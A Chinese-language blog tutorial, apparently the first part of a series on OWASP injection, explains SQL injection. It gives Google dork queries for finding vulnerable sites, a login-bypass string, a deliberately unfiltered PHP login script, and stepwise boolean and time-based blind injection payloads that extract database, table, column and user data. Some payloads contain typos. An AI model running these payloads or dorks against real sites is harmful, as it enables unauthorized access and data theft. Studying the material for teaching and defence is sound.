owasp top A1 注入 Injection (1)SQL注入.1

11 篇文章 0 订阅

owasp top A1 注入 Injection (1)SQL注入 .1

注入分为很多种,最常见的是SQL注入,但是通过注入最终达到的结果都是一样的,就是获取敏感信息,植入木马后门,等等。
首先SQL注入,通俗的理解,SQL注入是基于sqlserver,想象一下这样一个场景,当你登录一个网站的时候会需要你输入你自己的账号密码进行登录,而你在输入账号密码的时候,你的账号密码对应的都是一个参数,这些参数需要被传递给服务器进行查询操作比对,既然存在交互操作就有可能出现问题,比如说一些网站建设完之后没有对用户输入的内容进行过滤,导致一些对数据库的查询修改等操作拼接在语句中返回到服务器,而服务器执行之后返回到页面,这样攻击者就会看到一些本来自己不能看到的信息。
一般是动态网页容易出现注入,因为要和服务器交互,web2.0时代大多数都是动态网页,有一些是伪静态网页。
那么怎么才能够发现这个网站存在SQL注入漏洞呢。
谷歌hack语法方便查找漏洞网页
关键字搜索关键字:inurl:common.asp?id= inurl:asp?id=
intitle: 搜索网页中的中的标题名中是否包含指定字
inurl 搜索url网址中包含的指点字符串
filetype 搜索特定文件
site 搜索特定区域名信息

一.寻找注入点,通过是否进行报错来判断是否存在注入点

1.1数字型注入

 select * from name where id =1;

这是一个简单的select查询语句,但是如果进行拼接之后:

 select * from name where id=1 and 1 =1;

这是恒成立的1=1这是恒成立的,如果进行修改

 select * from name where id=1 and 1=2;

很明显1不等于2,所以会出现报错信息,这是一种思路,如果先输入正常的一个查询语句进行拼接,例如恒成立的1=1,网站页面没有反应那么再试一下1=2,如果网站页面出现错误提示,那就说明语句拼接成功了并且返回到了服务器进行了执行,这是一种思路,但是很明显如果网站的报错提示被关闭了,后面会介绍盲注。
还有一种检查注入点的也与这种方式类似例如:

http://www.heetian.com/showtail.asp?id=40 -0
页面没有出现错误
http://www.heetian.com/showtail.asp?id=40/
页面出现错误

1.2字符型注入

尝试万能密码,原查询语句:

        select * from user where username=‘输入的用户名’ and password=输入的密码

会发现当输入万能密码的时候 ‘ or 1 =1# 原本的语句变为了

        select * from user where username=‘’ or 1 = 1# and password =

#后面的内容被注释掉了,所以就可以做到不用输入密码就可以登录,这种情况只适用于对于用户输入的内容一点过滤都没有,例如:

        <?php
$conn=@mysql_connect("localhost",'root','') or die("数据库连接失败!");;
mysql_select_db("injection",$conn) or die("您要选择的数据库不存在");
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql="select * from users where username='$name' and password='$pwd'";
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header("Location:manager.php");
}else{
echo "您的用户名或密码输入有误,<a href=\"Login.php\">请重新登录!</a>";
}
?>

所谓的字符注入需要理解,当你输入字符串进入数据库的时候,会需要加上引号,在这里通过逻辑注入,类似万能密码,就是通过引号的闭合在注释掉后面的内容实现注入操作。
数字型注入:

select * from name where id =1

字符型注入:

select * from name where username=‘admin’	

在字符注入是判断错误是通过构造引号闭合,首先添加 ‘

select * from name where username=‘admin’‘

添加了单引号之后,会发现不满足SQL的语法,会出现错误提示 ,加 ’and 1=1 – 此时sql 语句为:

select * from table where name=’admin’ ’and 1=1 -- ’

– 注意,这种注释符后边有一个空格
通过#进行注释
/* */ 注释掉符号内的内容
又回到了上面的1=1恒成立 ,这个时候通过构造1=2进行返回错误提示,就可以确定存在注入点

select * from table where name=’admin’ and 1=2 – ’

1.3布尔盲注

布尔盲注,应用程序仅仅返回True( 页面) 和False( 页面) 。无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断( 比较大小) 来得到需要的信息,例如:

select id,name from user where id=1 and 1=1

1.4时间盲注

在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注

1基于时间盲注sleep函数

sleep的语法如下:sleep()函数让sql语句执行延迟若干秒,sleep()函数执行是有条件的,必须保障sql语句执行结果存在数据记录才会停止指定的秒数,如果sql语句查询结果为空,那么sleep函数不会停止

第一个语句:sleep函数设置查询停留3s, sleep函数本身返回值为0,显示查询时间为3s:

select id sleep(2) from user where id=1 能够查询到id=1的数据,观察页面刷新速度会等待3秒

第二个语句:语句最后加上and 1=2 形成查询逻辑错误,sleep函数不执行暂停,因此查询时间为0s

select id sleep(3) from user wher id=1 and 1=2 发现1=2是错误的name语句就不会执行页面刷新很快
2.基于if语句的时间盲注

逻辑判断函数if()

if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语句

select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);
查找user如果数据库的第一个字母为1啧等待5秒刷新页面否则执行and1=1

二.收集信息、判断数据库类型

当找到注入点之后,下一步进行的就是进行信息收集,根据布尔盲注进行信息收集,还有一种是构造if语句进行基于时间的信息收集,

	●猜解字段内容的长度

    (select top 1 len(字段名)from 表名)>0 直至猜解到>n不成立的时候,得出字段的长度为:n+1。

    ●得到长度后,猜解具体的内容

    (select top 1 asc(mid(username,1,1))from 表名)>0直到>m不成立时,就可以猜解出ASCII码值了。

1布尔注入会用到的函数

这个语句恒成立,页面正常就是true,需要了解几个判断的函数:
判断结果的记录数COUNT()

1.1count(columu_name)函数

函数返回指定列的值的数目(NULL 不计入)
语法示例:

Select count (user) from users;    // 返回表中user列的记录数
select count(*) from users;      // 返回表中的记录数
1.2Limit(m,n) 函数

说明:m 代表从m+1 条记录行开始检索,n 代表取出n 条数据。( m 可设为0 )
语法示例:

select * from 表名 limit m,n;
select user from users limit 0,1;    // 检索记录行1
1.3内容长度判断函数length()

length() 函数
length() 函数返回文本字段中值的长度。
语法示例:

select length(user) from users;
1.4Ascil() 函数

将字符转化为ascii 码。如果是字符串, 则返回的最左字符的数值。也就是第一个字符的ascii 值。如果字符串为空字符串,则返回NULL 。如果字符串为NULL, ASCII() 返回数值是从0 到255 随机。
语法示例

select ascii(substr(user,1,1)) from users limit 0,1;
1.5字符串截取函数mid(), substr() ,substring(),left()

用法一致,left就是在左侧返回第几个

select substr(username,1,1)from name    在表里面查找第一个username的第一个字符

2.布尔型盲注步骤和语句

2.1.判断当前数据库名长度与数据库名称
?id=1 and select length(database())>n  //判断数据库名长度
?id=1 and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值
2.2.判断数据库的表长度与表名
?id=1 and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n  
判断第一行表名的长度

? id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n 
 截取第一行表名的第m个字符串转换为ascii值判断具体为多少
2.3.判断数据库的字段名长度与字段名称
and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n  
判断表名中字段名的长度


adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n 			          
截取表中字段的第m字符串转换为ascii值,判断具体值
2.4.判断字段的内容长度与内容字符串
and length((select user from users limit 0,1)) >1 //判断字符串内容长度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值

3.时间盲注

和布尔注入也类似,就是通过if语句进行判断长度和acsii转码之后对比浏览器响应时间

1.枚举当前数据库名
 id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+
2.枚举当前数据库的表名
 id =1' and ascii(substr((select table_name from information_schema.tables where 
 table_schema=database() limit a,1),m,1))>n and sleep(3) --+
3.或者利用if函数
 	id=1' and if(ascii(substr((select table_name from information_schema.tables where 
 	table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+
4.枚举当前数据库表的字段名
   id =1' and ascii(substr((select column_name from information_schema.columns where 
   table_name='users' limit  ’a,1),m,1))>n and sleep(3) --+
5.枚举每个字段对应的数据项内容
 id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) 

后面SQL.2会介绍如何进行防御和一些绕过还有其他的补充

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值